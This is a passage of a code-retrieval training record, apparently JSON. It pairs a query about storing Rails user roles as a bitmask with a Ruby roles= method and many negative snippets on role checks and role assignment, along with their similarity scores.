pour_contents_into_baking_dish\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = pour_contents_into_baking_dish3\n \n # <-- action\n end\n\n when 4\n # at line 45:5: fold_ingredient_into_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_fold_ingredient_into_mixing_bowl_IN_instruction_107 )\n fold_ingredient_into_mixing_bowl4 = fold_ingredient_into_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = fold_ingredient_into_mixing_bowl4\n \n # <-- action\n end\n\n when 5\n # at line 48:5: clean_the_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_clean_the_mixing_bowl_IN_instruction_115 )\n clean_the_mixing_bowl5 = clean_the_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = clean_the_mixing_bowl5\n \n # <-- action\n end\n\n when 6\n # at line 51:5: take_ingredient_from_refrigerator\n @state.following.push( TOKENS_FOLLOWING_take_ingredient_from_refrigerator_IN_instruction_123 )\n take_ingredient_from_refrigerator6 = take_ingredient_from_refrigerator\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = take_ingredient_from_refrigerator6\n \n # <-- action\n end\n\n when 7\n # at line 54:5: remove_ingredient_from_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_remove_ingredient_from_mixing_bowl_IN_instruction_131 )\n remove_ingredient_from_mixing_bowl7 = remove_ingredient_from_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = remove_ingredient_from_mixing_bowl7\n \n # <-- action\n end\n\n when 8\n # at line 57:5: refrigerate_for_hours\n @state.following.push( TOKENS_FOLLOWING_refrigerate_for_hours_IN_instruction_139 )\n refrigerate_for_hours8 = refrigerate_for_hours\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = refrigerate_for_hours8\n \n # <-- action\n end\n\n when 9\n # at line 60:5: add_ingredient_to_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_add_ingredient_to_mixing_bowl_IN_instruction_147 )\n add_ingredient_to_mixing_bowl9 = add_ingredient_to_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = add_ingredient_to_mixing_bowl9\n \n # <-- action\n end\n\n when 10\n # at line 63:5: serve_with\n @state.following.push( TOKENS_FOLLOWING_serve_with_IN_instruction_155 )\n serve_with10 = serve_with\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = serve_with10\n \n # <-- action\n end\n\n when 11\n # at line 66:5: set_aside\n @state.following.push( TOKENS_FOLLOWING_set_aside_IN_instruction_163 )\n set_aside\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = $serve_with.value\n \n # <-- action\n end\n\n when 12\n # at line 69:5: mix_the_mixing_bowl_well\n @state.following.push( TOKENS_FOLLOWING_mix_the_mixing_bowl_well_IN_instruction_171 )\n mix_the_mixing_bowl_well11 = mix_the_mixing_bowl_well\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = mix_the_mixing_bowl_well11\n \n # <-- action\n end\n\n when 13\n # at line 72:5: combine_ingredient_into_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_combine_ingredient_into_mixing_bowl_IN_instruction_179 )\n combine_ingredient_into_mixing_bowl12 = combine_ingredient_into_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = combine_ingredient_into_mixing_bowl12\n \n # <-- action\n end\n\n when 14\n # at line 75:5: divide_ingredient_into_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_divide_ingredient_into_mixing_bowl_IN_instruction_187 )\n divide_ingredient_into_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = $stir_ingredient_into_the_mixing_bowl.value\n \n # <-- action\n end\n\n when 15\n # at line 78:5: stir_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_stir_mixing_bowl_IN_instruction_195 )\n stir_mixing_bowl13 = stir_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = stir_mixing_bowl13\n \n # <-- action\n end\n\n when 16\n # at line 81:5: stir_ingredient_into_the_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_stir_ingredient_into_the_mixing_bowl_IN_instruction_203 )\n stir_ingredient_into_the_mixing_bowl14 = stir_ingredient_into_the_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = stir_ingredient_into_the_mixing_bowl14\n \n # <-- action\n end\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n memoize( __method__, instruction_start_index, success ) if @state.backtracking > 0\n\n end\n \n return value\n end",
"def simplify_once\n rewrite do |ast|\n case ast\n\n # Double negation: -(-A) = A\n in [:not, [:not, a]]\n a\n\n # DeMorgan's law: -(A and B) = -A or -B\n in [:not, [:and, *children]]\n node(:or, *children.map { node(:not, _1) })\n\n # DeMorgan's law: -(A or B) = -A and -B\n in [:not, [:or, *children]]\n node(:and, *children.map { node(:not, _1) })\n\n # Distributive law: A or (B and C) = (A or B) and (A or C)\n # (or A (and B C ...) ... = (and (or A B ...) (or A C ...) ...\n in [:or, *children] if children.any?(&:and?)\n ands, non_ands = children.partition(&:and?)\n first_and, rest = ands.first, ands[1..] + non_ands\n node(:and, *first_and.children.map { node(:or, _1, *rest) })\n\n else\n ast\n end\n end\n end"
] |
[
"0.5923408",
"0.5700833",
"0.55495423",
"0.55493367",
"0.5395798",
"0.53617376",
"0.53601396",
"0.5257595",
"0.5234774",
"0.52072805",
"0.5191078",
"0.5188091",
"0.51352406",
"0.5122758",
"0.50951225",
"0.50951225",
"0.5069032",
"0.50599796",
"0.503055",
"0.50115645",
"0.50115645",
"0.50115645",
"0.5004784",
"0.49957275",
"0.49782917",
"0.49782917",
"0.4968212",
"0.4967445",
"0.4966158",
"0.49588934",
"0.4947112",
"0.494685",
"0.4924363",
"0.49200648",
"0.49190548",
"0.4917114",
"0.4917114",
"0.49141452",
"0.49102232",
"0.49029446",
"0.4898944",
"0.4898944",
"0.4898944",
"0.4898944",
"0.48953232",
"0.48702896",
"0.48584786",
"0.48580375",
"0.48580375",
"0.4854081",
"0.4840133",
"0.48370343",
"0.48340958",
"0.48230398",
"0.48181334",
"0.48169124",
"0.48126516",
"0.47964984",
"0.4784354",
"0.477768",
"0.47769818",
"0.4769454",
"0.4759231",
"0.47590208",
"0.47513658",
"0.47361436",
"0.47349903",
"0.4734712",
"0.4727811",
"0.4725566",
"0.47216094",
"0.47202277",
"0.47198308",
"0.47191697",
"0.47165105",
"0.471608",
"0.47150525",
"0.4703652",
"0.47029364",
"0.47027007",
"0.47011378",
"0.469854",
"0.469854",
"0.4697822",
"0.4692535",
"0.46913144",
"0.4689705",
"0.4678999",
"0.46768832",
"0.4673357",
"0.46726066",
"0.46723148",
"0.46716616",
"0.46714893",
"0.46714395",
"0.4671276",
"0.46696752",
"0.46696752",
"0.46623623",
"0.46590593",
"0.46587244"
] |
0.0
|
-1
|
Add the following code to the User model for getting and setting the list of roles a user belongs to. This will perform the necessary bitwise operations to translate an array of roles into the integer field.
|
def roles=(roles)
self.roles_mask = (roles & ROLES).map { |r| 2**ROLES.index(r) }.inject(0, :+)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_roles=(value)\n roles[:user_roles]=value\n end",
"def roles\n roles_from_users\n end",
"def roles\r\n @roles ||= user_roles.map(&:name)\r\n end",
"def role_ids=(id_list)\n\t\tlogger.info(\"[ROLE IDS] #{id_list}\")\n\t\tself.roles.clear\n\t\tfor id in id_list\n\t\t\tnext if id.empty?\n\t\t\trole = Role.find(id)\n\t\t\tself.roles << role if role\n\t\tend\n\tend",
"def roles=(roles)\n self.roles_mask = (roles & ROLES).map { |r| 2**ROLES.index(r) }.sum\n end",
"def roles=(roles)\n self.roles_mask = (roles & ROLES).map { |r| 2**ROLES.index(r) }.sum\n end",
"def roles\n client.user_roles(id)\n end",
"def roles\n client.user_roles(id)\n end",
"def roles=(roles)\n roles = [*roles].map { |r| r.to_sym }\n self.roles_mask = (roles & ROLES).map { |r| 2**ROLES.index(r) }.inject(0, :+)\n end",
"def roles\n self.dig_for_array(\"roles\")\n end",
"def roles=(roles)\n return self.roles_mask = (roles.map(&:to_sym) & ROLES).map { |r| 2**ROLES.index(r) }.sum\n end",
"def set_roles *roles\n value = roles.flatten.map(&:to_s).join(',')\n set_ds_field value\n end",
"def set_roles_cached(ldap_roles_arr)\n # Cache the roles as a concatenated string into the user object\n self.roles_cached = ldap_roles_arr.join(',')\n save\n end",
"def roles_for_select\n Role.all.select {|role| can? :add_user, role }.sort.map {|r| [r.name.titleize, r.id] }\n end",
"def role_ids\n roles.pluck(:id)\n end",
"def the_roles\n roles.each.map{|_r| User::ROLES[_r.to_sym] }\n end",
"def pass_on_roles\n r = self.roles.to_a\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users)).to_a\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles)).to_a\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users)).to_a\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def user_roles\n roles.collect(&:name).join(', ').split(', ').map(&:capitalize).join(', ')#.capitalize\n end",
"def roles=(t)\n if t.kind_of?(String)\n t = t.downcase.split(\",\").join(\" \").split(\" \").uniq\n end\n self[:roles] = t\n end",
"def update_roles(roles)\n self.roles |= roles\n self.save!\n end",
"def roles\n @users = User.order(\"user_name\").all\n end",
"def get_user_roles\n @roles = @user.roles.pluck(:name)\n render json: @roles\n end",
"def role_select\n @@Roles.list\n end",
"def roles(reload = false)\n @roles = nil if reload\n @roles ||=\n Role.find_by_sql ['select * from roles where id in ' +\n self.class.role_assigned_cond(':id'),\n {:id => id}]\n end",
"def add_roles (roles_in)\n roles_in = to_array_if_not(roles_in)\n roles_in.each do |role|\n add_role(role)\n end\n # Rails.logger.debug(\"* UserRoles - add_role - updated - self.roles:#{self.roles.inspect.to_s}\")\n end",
"def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def roles_from_users\n Role.for_resource(self)\n end",
"def role_list \n @role_list ||= begin\n (store.display_roles | group_store.display_roles)\n end\n end",
"def edit_roles\n if (@user = find_user(params[:id]))\n begin\n User.transaction(@user) do\n \n roles = params[:user][:roles].collect { |role_id| Role.find(role_id) }\n # add any new roles & remove any missing roles\n roles.each { |role| @user.roles << role if [email protected]?(role) }\n @user.roles.each { |role| @user.roles.delete(role) if !roles.include?(role) }\n\n @user.save\n flash[:notice] = \"Roles updated for user '#{@user.login}'.\"\n end\n rescue\n flash[:warning] = 'Roles could not be edited at this time. Please retry.'\n ensure\n redirect_to :back\n end\n else\n redirect_back_or_default :action => 'list'\n end\n end",
"def roles\n Jak.role_klass.where(id: grants.pluck(:role_ids).compact.flatten)\n end",
"def filter_roles\n if params[:user] && params[:user][:roles]\n params[:user][:roles] = params[:user][:roles].map(&:to_i) & current_user.assignable_roles\n end\n end",
"def normalize_roles\n self.roles = if self.roles.blank?\n []\n else\n self.class.roles.select { |role_to_check| roles.include?(role_to_check.to_s) }\n end\n end",
"def roles\n @roles = Role.order(\"name\")\n\t@rights = Right.order(\"name\").map {|r| [r.name, r.id] }\n end",
"def roles= *new_roles\n roles.set_roles new_roles\n end",
"def assigned_roles\n to_array_if_not(self.roles)\n end",
"def setup_role \n if self.role_ids.empty? \n self.role_ids = [Role.find_by_name(\"User\").id] \n end\n end",
"def roles_list(role = nil)\n self.role_symbols\n end",
"def my_roles(user)\n user.roles & self.design_review_results.collect { |drr| drr.role }\n end",
"def add_roles(roles)\n return self.roles = (self.roles + Array(roles)).uniq\n end",
"def roles\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Role)\n end",
"def role_ids_with_add_user_role=(_role_ids)\n _role_ids ||= []\n _role_ids << Role.by_name(:user).id\n self[:role_ids] = _role_ids\n self.role_ids_without_add_user_role = _role_ids\n end",
"def role_ids_with_add_user_role=(_role_ids)\n _role_ids ||= []\n _role_ids << Role.by_name(:user).id\n self[:role_ids] = _role_ids\n self.role_ids_without_add_user_role = _role_ids\n end",
"def role_enum\n\t\t[:user,:vip,:admin]\n\tend",
"def roles\n # rocking this in memory because eager-loading\n roles = object.paper_roles.select { |role|\n role.user_id == scoped_user.id\n }.map(&:description)\n roles << \"My Paper\" if object.user_id == scoped_user.id\n roles\n end",
"def roles_with_from_array_of_strings=(*roles)\n roles = roles.first if roles.size == 1 && roles.first.is_a?(Array)\n roles = roles.map{ |r| r.is_a?(Usermeta) ? r : Usermeta.find_or_initialize_by(user_id: id, key: ROLE_KEY, value: r) }\n self.roles_without_from_array_of_strings = *roles\n end",
"def accessible_roles\n index = ROLES.index(self.role)\n roles = User::ROLES[0..index].map{|x| [x.humanize, x]} if index\n return roles\n end",
"def set_users_roles(list, role_list = roles)\n list.map do |user_hash|\n user = user_hash[:user]\n roles = user_hash[:role] || user_hash[:roles]\n {\n :user => user,\n :result => set_user_roles(user, roles, role_list)\n }\n end\n end",
"def roles=(roles_arr)\n self.authorizations = []\n roles_arr.each do |role|\n find_or_create_authorization(role) unless role.blank?\n end\n end",
"def roles=(roles_arr)\n self.authorizations = []\n roles_arr.each do |role|\n find_or_create_authorization(role) unless role.blank?\n end\n end",
"def resource_roles=(value)\n @resource_roles = value\n end",
"def roles\n User.valid_roles\n end",
"def list\n\n @roles = Role.find(:all, :order => 'name')\n\n end",
"def app_roles=(value)\n @app_roles = value\n end",
"def update\n @user = User.find(params[:user_id])\n @roles = Role.all\n \n if current_user.is_admin?\n @user.roles.clear\n @roles.each do |role|\n if (params[:role][:role][role.rolename][:hasrole].to_s == 1.to_s)\n @user.roles << role\n end\n end\n else\n @roles.each do |role|\n if !role.admin_only\n if @user.has_role?(role.rolename)\n @user.roles.destroy(role)\n end\n if (params[:role][:role][role.rolename][:hasrole].to_s == 1.to_s)\n @user.roles << role\n end\n end\n end\n end\n \n flash[:notice] = I18n.t(\"user.success.roles_updated\")\n reload_page\n \n end",
"def list\n @roles = Role.all(:include => [:groups, :users])\n end",
"def display_all_roles\n # Interface method\n end",
"def list\n # We don't use pagination here since we want to display the roles in a\n # nice tree. Additionally, there won't be more than ~100 roles in a\n # normal scenario anyway - far less!\n @roles = Role.find(:all)\n end",
"def default_roles\n if self.user_type == \"admin\"\n self.role_ids = 1\n elsif self.user_type == \"student\"\n self.role_ids = 10\n end\n end",
"def role_names\n roles.split(',')\n end",
"def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end",
"def my_roles\n @my_roles ||= self.roles.map {|r| r.name}.flatten.freeze\n end",
"def roles_string() \n self[:roles].join(\",\") \n end",
"def index\n @users_roles = UsersRole.all\n end",
"def roles\n roles_as_editor + roles_as_reviewer + role_as_admin\n end",
"def set_roles\n roles << Role.user unless has_role?(\"user\")\n as_seller! if @registration_as_seller.to_i == 1\n end",
"def assign_roles(role_ids)\n selected_roles = !role_ids.to_a.empty? ? Role.find(:all, :conditions => [\"id IN (#{role_ids.to_a.uniq.join(', ')})\"]) : []\n self.employee_roles.each do |e_l|\n if selected_roles.map{|l| l.id}.include?(e_l.role_id)\n selected_roles.delete_if{|sl| sl.id == e_l.role_id}\n else\n self.employee_roles.delete(e_l)\n end\n end\n self.roles << selected_roles\n end",
"def map_available_roles\n roles.each.map &:name\n end",
"def compute_roles(number)\n value(number)\n end",
"def render_value(value, field:, **opt)\n (value.to_s == 'roles') ? roles(**opt) : super\n end",
"def roles\n users.map { |item| item['roles'] }.flatten.uniq\n end",
"def set_users_role\n @users_role = Users::Role.find(params[:id])\n end",
"def add_roles(*values)\n values.map(&:to_s).each do |value|\n roles << value if Settings.valid_roles.include?(value) && !role?(value)\n end\n end",
"def roles\n tmp = client.get @json['user']['links']['roles']\n tmp['associatedRoles']['roles'].pmap do |role_uri|\n role = client.get role_uri\n client.factory.create(GoodData::ProjectRole, role)\n end\n end",
"def list_review_roles\n\n @review_roles = Role.get_review_roles\n\n end",
"def assign_roles\n roles_map.each do |role_obj|\n Authentication::Account.find_by_email(role_obj['email']).update_attributes(roles: role_obj['roles'])\n end\n end",
"def roles\n response[\"roles\"]\n end",
"def roles\n self.class.roles.map do |name|\n __send__(name)\n end\n end",
"def remove_roles(*values)\n self.roles = roles - values.map(&:to_s)\n end",
"def index\n @roles = System::Role.all\n end",
"def roles_for_user(user)\n role_ids = self.chorus_object_roles.where(:user_id => user.id).map(&:role_id)\n Role.find(role_ids)\n end",
"def conversation_member_roles=(value)\n @conversation_member_roles = value\n end",
"def set_users_role\n @users_role = UsersRole.find(params[:id])\n end",
"def role=(value)\n self.user_type = ROLES[value]\n end",
"def role(role)\n @roles = @roles | [@salticid.role(role)]\n end",
"def list_roles(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListRoles'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :marker\n\t\t\targs[:query]['Marker'] = optional[:marker]\n\t\tend\n\t\tif optional.key? :max_items\n\t\t\targs[:query]['MaxItems'] = optional[:max_items]\n\t\tend\n\t\tself.run(args)\n\tend",
"def roles(**opt)\n roles = present? && object.role_list || []\n html_tag(:ul, opt) do\n roles.map do |role|\n html_tag(:li, role)\n end\n end\n end",
"def roles\n (properties[:roles] || []).map { |r| r.is_a?(Link) ? r : Link.new(r, nil, client) }\n end",
"def roles(roles) #:nodoc:\n @roles = roles\n end",
"def index\n client_application_id = current_user.client_application_id.to_s\n @roles = Role.where(client_application_id: client_application_id)\n end",
"def init_user_roles(roles_in = nil)\n # Rails.logger.debug(\"* Models::UserRoles.init_user_roles - #{self.username.to_s} roles_in:#{roles_in.inspect.to_s}\")\n self.roles = DEFAULT_ROLES.join(' ')\n self.add_roles (roles_in)\n end",
"def set_roles_privilege\n @roles_privilege = RolesPrivilege.find(params[:id])\n end",
"def roles\n\t\t\t\tProxy.new connection, 'role-strategy/strategy'\n\t\t\tend",
"def add_roles(roles)\n if !roles.is_a? Array\n roles = [roles]\n end\n rs = (self.role_symbols + roles.map {|x| x.to_s}).uniq\n self.role_symbols = rs\n end",
"def set_roles(wanted_roles)\n current_roles = roles.map(&:name)\n\n remove = current_roles.reject { |r| wanted_roles.include?(r) }\n add = wanted_roles.reject { |r| current_roles.include?(r) }\n\n Ruolo.configuration.connection.transaction do\n remove.each do |role|\n remove_role(Ruolo::Models::Role.where(name: role).first)\n end\n\n add.each do |role|\n add_role(Ruolo::Models::Role.where(name: role).first)\n end\n end\n end",
"def create_roles\n Role.create_roles(self)\n end",
"def build_user_roles(params)\n @roles.each do |role|\n role = role.tableize.singularize\n klass_name = \"Roles::#{role.classify}\"\n if (params[:user][:user_roles][role] == \"1\") &&\n [email protected]_roles.map(&:role_class_name).include?(klass_name)\n @user.user_roles.build(role_class_name: klass_name)\n elsif (params[:user][:user_roles][role] == \"0\") &&\n @user.user_roles.map(&:role_class_name).include?(klass_name)\n user_role = @user.user_roles.find_by_role_class_name(klass_name)\n user_role.destroy\n end\n end\n end",
"def filter_value_convert_role(key, val)\n val = [\"customer\", \"writer\", \"editor\", \"administrator\", \"sysadmin\"][val.to_i] if key == :role && (val.class == Fixnum)\n return val\n end",
"def set_Role(value)\n set_input(\"Role\", value)\n end"
] |
[
"0.725351",
"0.71046555",
"0.7009423",
"0.69842714",
"0.6955666",
"0.6955666",
"0.6948951",
"0.6948951",
"0.69187886",
"0.69012904",
"0.6877795",
"0.68561786",
"0.6838907",
"0.68385816",
"0.68118846",
"0.67823803",
"0.6714408",
"0.6687999",
"0.66874033",
"0.668562",
"0.66671187",
"0.66345996",
"0.6575205",
"0.65674",
"0.65589684",
"0.6541077",
"0.6541077",
"0.6533563",
"0.65165615",
"0.65132123",
"0.65038824",
"0.647917",
"0.64717203",
"0.6464166",
"0.6453721",
"0.64517015",
"0.6448945",
"0.64417756",
"0.64110667",
"0.6402061",
"0.63906837",
"0.6385468",
"0.6385468",
"0.6362928",
"0.6357092",
"0.6349567",
"0.6346867",
"0.63409555",
"0.63244134",
"0.63244134",
"0.63219804",
"0.63177216",
"0.63039786",
"0.6263759",
"0.626135",
"0.6257221",
"0.62535405",
"0.6242055",
"0.62414414",
"0.6236578",
"0.62318367",
"0.62234735",
"0.621584",
"0.62114245",
"0.6208159",
"0.62012255",
"0.61655676",
"0.6152237",
"0.61463416",
"0.6142136",
"0.6134458",
"0.6127569",
"0.6115126",
"0.6095039",
"0.60918623",
"0.60858977",
"0.60823035",
"0.6067541",
"0.6066169",
"0.60605913",
"0.60567385",
"0.6038856",
"0.6038326",
"0.60292035",
"0.6019694",
"0.60129106",
"0.60108453",
"0.60067004",
"0.6002753",
"0.600038",
"0.59941953",
"0.5983579",
"0.5980807",
"0.5975494",
"0.5974398",
"0.5973748",
"0.5973419",
"0.59665495",
"0.5951216"
] |
0.6938213
|
9
|
This method checks the user's role
|
def is?(role)
roles.include?(role.to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_role\n if current_user && current_user.has_role?(:admin)\n return\n else\n flash[:notice]= \"You are not authorised to access the page you sought.\"\n redirect_to root_path\n end\n end",
"def check_for_role\n\t\tself.role = ROLES[:user] if !self.role.present?\n\tend",
"def check_for_role\n\t\tself.role = ROLES[:user] if self.role.nil?\n\tend",
"def check_for_role\n self.role = ROLES[:user] if self.role.nil?\n end",
"def check_role\n unless current_user.has_role?(:admin)\n redirect_to admin_registrations_path, notice: 'You are not allowed to perform this action.'\n end\n end",
"def has_role?( user, object )\n false\n end",
"def check_user_role \t \n redirect_to root_path unless current_user.roles.first.name == \"empleado\" or current_user.roles.first.name == \"supervisor\"or current_user.roles.first.name == \"admin\" \n end",
"def check_role!\n add_role :user if roles.blank?\n if has_role?(:admin)\n add_role :editor unless has_role?(:editor)\n add_role :user unless has_role?(:user)\n end\n end",
"def check_role\n if user_signed_in? && current_user.role_id ==nil\n redirect_to new_reg_path\n\n end\n end",
"def accepts_role?( role_name, user )\n user.has_role? role_name, self\n end",
"def has_role(r)\n self.role == r\n end",
"def check_role\n redirect_to(root_url) unless check_role?(\"News Editor\") or check_role?(\"Site Admin\")\n end",
"def check_role\n redirect_to(root_url) unless check_role?(\"News Editor\") or check_role?(\"Site Admin\")\n end",
"def role?(role)\n\t self.role.name == role\n end",
"def role?(role)\n \n if self.is_admin\n return true\n end\n \n self.roles.each do |item|\n if item.name.to_s == role.to_s\n return true\n end\n end\n \n return false\n end",
"def role?(role)\n\t self.role == role\n\tend",
"def check_user_role\n if current_user&.has_role? :denied\n session.delete(:user_id)\n redirect_to root_path, flash: { alert: I18n.t(\"registration.banned.fail\") }\n elsif current_user&.has_role? :pending\n session.delete(:user_id)\n redirect_to root_path, flash: { alert: I18n.t(\"registration.approval.fail\") }\n end\n end",
"def role?(r)\n self.role == r.to_s\n end",
"def role?(role)\n self.role == role.to_s ? true : false\n end",
"def has_role?(role)\n current_user.role.name.gsub(/ /, '').underscore.to_sym.eql?(role) if current_user\n end",
"def has_role?(the_role)\n\t\tthe_role==self.role ? true : false\n\tend",
"def role?(role)\n if self.role == role.to_s\n return true\n else\n return false\n end\n end",
"def accepts_role( role_name, user )\n user.has_role role_name, self\n end",
"def has_role?(role)\n current_user && current_user.has_role?(role)\n end",
"def has_role?(role)\n current_user && current_user.has_role?(role)\n end",
"def valid_role?(role)\n redirect_to root_path(locale: I18n.locale), :notice => t('shared.msgs.not_authorized') if !current_user || !((role.is_a?(String) && current_user.is?(role)) || (role.is_a?(Array) && role.include?(current_user.role.name)))\n end",
"def role?(role)\n self.role.to_s == role.to_s\n end",
"def role?(role)\n self.role == role.to_s\n end",
"def role?(role)\n self.role == role.to_s\n end",
"def role?(role_id)\r\n return @user.role?(role_id)\r\n end",
"def check_roles\n return access_denied unless self.class.user_authorized_for?(usuario_actual, params, binding)\n\n true\n end",
"def current_user_has_role?(role, node = nil)\n if node\n @current_user.has_role_on?(role, node.new_record? ? node.parent : node)\n else\n @current_user.has_role?(role)\n end\n end",
"def role?\n false\n end",
"def role?(role_name)\n role == role_name\n \n end",
"def check_role(role_required)\n\n logger.debug(\"check_role(#{role_required})\")\n \n if (!current_user.has_role?(role_required))\n \n logger.debug(\"user #{current_user.full_name} does not have the #{role_required} role\")\n \n session[:denied_url] = \"#{SITE}#{request.request_uri}\"\n redirect_to(\"/agencies/#{session[:agencyId]}/denied\") if current_user.type == 'AgencyUser'\n redirect_to(\"/approverdashboard/denied\") if current_user.type == 'ApproverUser'\n\n end\n \n logger.debug(\"user #{current_user.full_name} has the #{role_required} role\")\n \n end",
"def role_valid\n if (APP_CONFIG[\"user_roles\"]+SYSTEM_DATA[\"user_roles\"]).select{|role| role[\"name\"] == self.role}.empty?\n errors.add(:role, \"Role does not exist in config\")\n end\n end",
"def check_role( role_symbol, redirect_options = nil )\n return true if current_user.is_admin?\n if (current_project and current_user )\n # cache the role object once its found\n @_role = current_project.user_roles.find_by_user_id(current_user.id) if ! @_role\n if (@_role.send( role_symbol.to_s ))\n return true\n end\n end\n flash[:error] = \"Permission denied!\"\n redirect_to redirect_options if redirect_options\n return false\n end",
"def checker\n if spree_current_user.spree_roles.all.first.nil?\n redirect_to('/')\n end\n end",
"def check_access_level(role)\n redirect_to root_path unless current_user && current_user.role?(role)\n end",
"def is_in_role(role)\n \tif current_user == nil or current_user.user_type != role\n \t\tsign_out current_user #sign_out the current user\n \t\tredirect_to \"/users/sign_in\" #redirect to sign_in page\n \tend\n end",
"def has_role? user_role\n role_subject && role_subject.has_role?(user_role)\n end",
"def check_authorization\n unless @user and @user.role.name == 'admin'\n flash[:notice] = \"Not authorized!\"\n redirect_to root_path\n end\n end",
"def role?(authorized_role)\n return false if self.employee.nil?\n return false if self.employee.role.nil?\n self.employee.role.downcase.to_sym == authorized_role\n end",
"def verify_user(roles)\n flag = false\n\t\tif current_user\n roles.each do |role|\n if current_user.type == role\n flag = true\n break\n end\n end\n end\n if flag == false\n redirect_to root_url\n end\n\tend",
"def has_a_role_of( role )\n return self.role.name == role\n end",
"def user_role?\n roles.any? { |role| Roles.user_roles.include?(role) }\n end",
"def has_role?(role) \n return self.roles.include?(role)\n end",
"def is_role(r)\n return r == role\n end",
"def authorized?(role)\n current_user[:role] >= User.roles[role]\n end",
"def has_role? (role_name)\n self.role ? self.role.name==(role_name.to_s) : false\n end",
"def has_role? (role_name)\n self.role ? self.role.name==(role_name.to_s) : false\n end",
"def has_role?(role)\n case role\n when :admin then admin?\n when :member then true\n else false\n end\n end",
"def is?( requested_role )\n self.role == requested_role.to_s\n end",
"def check_role( role_symbol )\n return true if @current_user.is_admin?\n if (@project and @current_user )\n # cache the role object once its found\n @_role = @project.user_roles.find_by_user_id(@current_user.id) if ! @_role\n if (@_role.send( role_symbol.to_s ))\n return true\n end\n end\n return false\n end",
"def check_role\n user_id = session[:user_id]\n redirect_to '/auth/bauth' unless user_id.present? &&\n session[:expires_at] > Time.current\n end",
"def check_role\n redirect_to root_path unless current_user && current_user.evo_team?\n end",
"def role?(role_to_compare)\n self.role.to_s == role_to_compare.to_s\n end",
"def check_roles\n if current_user.roles.include?(Role['owner'])\n return true\n elsif request.format.symbol == :json && params[:action] == 'index'\n return true\n end\n\n redirect_to root_path\n end",
"def checkrole\n if roles_mask == 4\n 'User'\n elsif roles_mask == 6\n 'Administrator'\n end\n end",
"def user_in_role(role)\n attrs = session['user_attributes']\n attrs && attrs['role'].split(',').include?(role)\n end",
"def logged_in_as(the_role)\n if self.current_role.role == the_role\n return true \n else\n return false\n end\n end",
"def role?(role)\n roles && roles.include?(role)\n end",
"def user?\n has_role? :user\n end",
"def role?(role)\n roles.include? role\n end",
"def role?(role)\n self.role&.name == role\n end",
"def has_role?(role)\n # User master always have access to all\n # Given a nil role or a blank list also retun access granted\n return true if role.blank?\n list ||= self.roles.collect(&:name)\n role.is_a?(Array) ? rolelist = role : rolelist = [role]\n rolelist.any? { |r| list.include?(r.to_s) } || list.include?('admin') || self.master?\n end",
"def has_role(the_role)\n answer = false\n roles = self.roles\n\n roles.each do |role|\n if role.roleable_type == the_role\n answer = true \n end \n end \n return answer\n\n end",
"def role?(authorized_role)\n return false if employee.nil?\n employee.role.downcase.to_sym == authorized_role\n end",
